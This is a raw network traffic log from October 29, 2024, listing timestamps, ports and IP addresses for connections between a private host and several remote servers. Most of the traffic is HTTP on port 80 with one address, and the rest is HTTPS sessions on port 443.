Oct 29, 2024 15:27:49.906516075 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906516075 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.906523943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906533003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906544924 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906544924 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.906558990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906584024 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.906613111 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.906645060 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906661987 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906676054 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906707048 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.906806946 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906819105 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906831980 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906838894 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906852007 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906857014 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906867027 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.906898975 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.906938076 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906949043 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906955957 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906963110 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906970024 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906976938 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906991959 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907016993 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907025099 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907067060 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907074928 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907082081 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907088041 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907094955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907107115 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907113075 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907151937 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907165051 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907205105 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907236099 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907243967 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907249928 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907255888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907263041 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907269955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907282114 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907285929 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907289028 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907301903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907309055 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907325983 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907325983 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907335043 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907335997 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907341957 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907383919 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907387018 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907403946 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907407045 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907412052 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907426119 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907432079 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907440901 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907454967 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907461882 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907468081 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907480001 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907488108 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907495975 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907502890 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907516956 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907551050 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907551050 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907551050 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907566071 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907579899 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907583952 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907583952 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907588005 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907597065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907638073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907641888 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907641888 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907641888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907664061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907670975 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907674074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907681942 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907692909 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907708883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907716036 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907716036 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907746077 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907753944 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907772064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907778025 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907783985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907798052 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907799006 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907807112 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907814026 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.907829046 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907846928 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.907866001 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.908371925 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.908382893 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.908395052 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.908440113 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.908457994 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.908461094 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.908467054 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.908478022 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.908492088 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.908504963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.908519030 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.908519983 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.908528090 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.908538103 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.908560991 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.908561945 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.908575058 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.908581972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.908588886 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.908592939 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.908632040 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.908632040 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.908685923 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.921988964 CET	443	50019	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:49.922308922 CET	50019	443	192.168.2.6	20.125.209.212
Oct 29, 2024 15:27:49.922352076 CET	443	50019	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:49.924032927 CET	443	50019	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:49.924098969 CET	50019	443	192.168.2.6	20.125.209.212
Oct 29, 2024 15:27:49.925287008 CET	50019	443	192.168.2.6	20.125.209.212
Oct 29, 2024 15:27:49.925376892 CET	443	50019	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:49.925503969 CET	50019	443	192.168.2.6	20.125.209.212
Oct 29, 2024 15:27:49.925519943 CET	443	50019	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:49.926476002 CET	50021	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:49.926479101 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.926486969 CET	443	50021	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:49.954252005 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.954312086 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.954324007 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.954334974 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.954343081 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.954349041 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.954349995 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.954420090 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.954420090 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.954423904 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.954468012 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.954514027 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.955204010 CET	443	50022	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.955368996 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.955379009 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.955419064 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.955430984 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.955446959 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.955451965 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.955466986 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.955488920 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.955820084 CET	50022	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.955835104 CET	443	50022	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.956304073 CET	50022	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.956309080 CET	443	50022	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.957056046 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.957075119 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.957134962 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.957159042 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.957182884 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.957254887 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.957890034 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.957946062 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.957952976 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.957988977 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.958004951 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.958174944 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.958174944 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.958175898 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.967240095 CET	443	50021	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:49.967303038 CET	50021	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:49.968097925 CET	50021	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:49.968122959 CET	443	50021	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:49.968595982 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.968616962 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.968652964 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.968662024 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.968672037 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.968697071 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.969518900 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.969575882 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.971105099 CET	50026	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:49.971168041 CET	443	50026	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:49.971338987 CET	50026	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:49.971599102 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.971616030 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.971652985 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.971658945 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.971682072 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.971702099 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.971956015 CET	50026	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:49.971980095 CET	443	50026	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:49.982867002 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.982882023 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.982944965 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.983031034 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.983031034 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.983047009 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.983100891 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.988497972 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.988557100 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.988565922 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.988615990 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.988627911 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.988719940 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.988719940 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:50.014101028 CET	443	50018	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.014259100 CET	443	50018	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.014318943 CET	443	50018	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.014395952 CET	50018	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.016223907 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:50.016237020 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:50.031142950 CET	50018	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.031158924 CET	443	50018	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.031172991 CET	50018	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.031181097 CET	443	50018	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.031450033 CET	50027	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:50.031495094 CET	443	50027	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:50.031559944 CET	50027	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:50.032038927 CET	50027	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:50.032058001 CET	443	50027	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:50.033875942 CET	443	50020	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.033979893 CET	443	50020	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.034079075 CET	50020	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.038772106 CET	50019	443	192.168.2.6	20.125.209.212
Oct 29, 2024 15:27:50.039799929 CET	50020	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.039813995 CET	443	50020	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.039824009 CET	50020	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.039829969 CET	443	50020	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.043704987 CET	50028	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.043750048 CET	443	50028	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.043823004 CET	50028	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.044128895 CET	50028	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.044142008 CET	443	50028	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.044545889 CET	50029	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.044578075 CET	443	50029	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.044632912 CET	50029	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.044980049 CET	50029	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.044994116 CET	443	50029	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.058151007 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.058161974 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.058168888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.058180094 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.058234930 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.058258057 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.058459997 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.058470011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.058476925 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.058480978 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.058504105 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.058528900 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.058608055 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.058617115 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.058629036 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.058635950 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.058661938 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.058689117 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.058767080 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.058778048 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.058789968 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.058796883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.058801889 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.058825016 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.058856010 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.059094906 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059248924 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059261084 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059267998 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059273958 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059279919 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059283018 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.059303999 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.059338093 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.059427023 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059436083 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059448004 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059454918 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059462070 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059477091 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059483051 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059484005 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.059497118 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059503078 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059508085 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.059510946 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059530973 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.059551954 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.059597969 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059604883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059611082 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059618950 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059639931 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.059653997 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.059751034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059761047 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059806108 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.059921026 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059935093 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059941053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059945107 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059957981 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059964895 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059967995 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.059972048 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.059993029 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.060015917 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.060060024 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.060065031 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.060076952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.060082912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.060089111 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.060095072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.060101986 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.060117006 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.060153008 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.060254097 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.060260057 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.060280085 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.060285091 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.060302973 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.060344934 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.060817003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.060823917 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.060831070 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.060866117 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.060971975 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.060978889 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.060992956 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.060997963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061005116 CET	80	49940	185.215.113.206	192.168.2.6
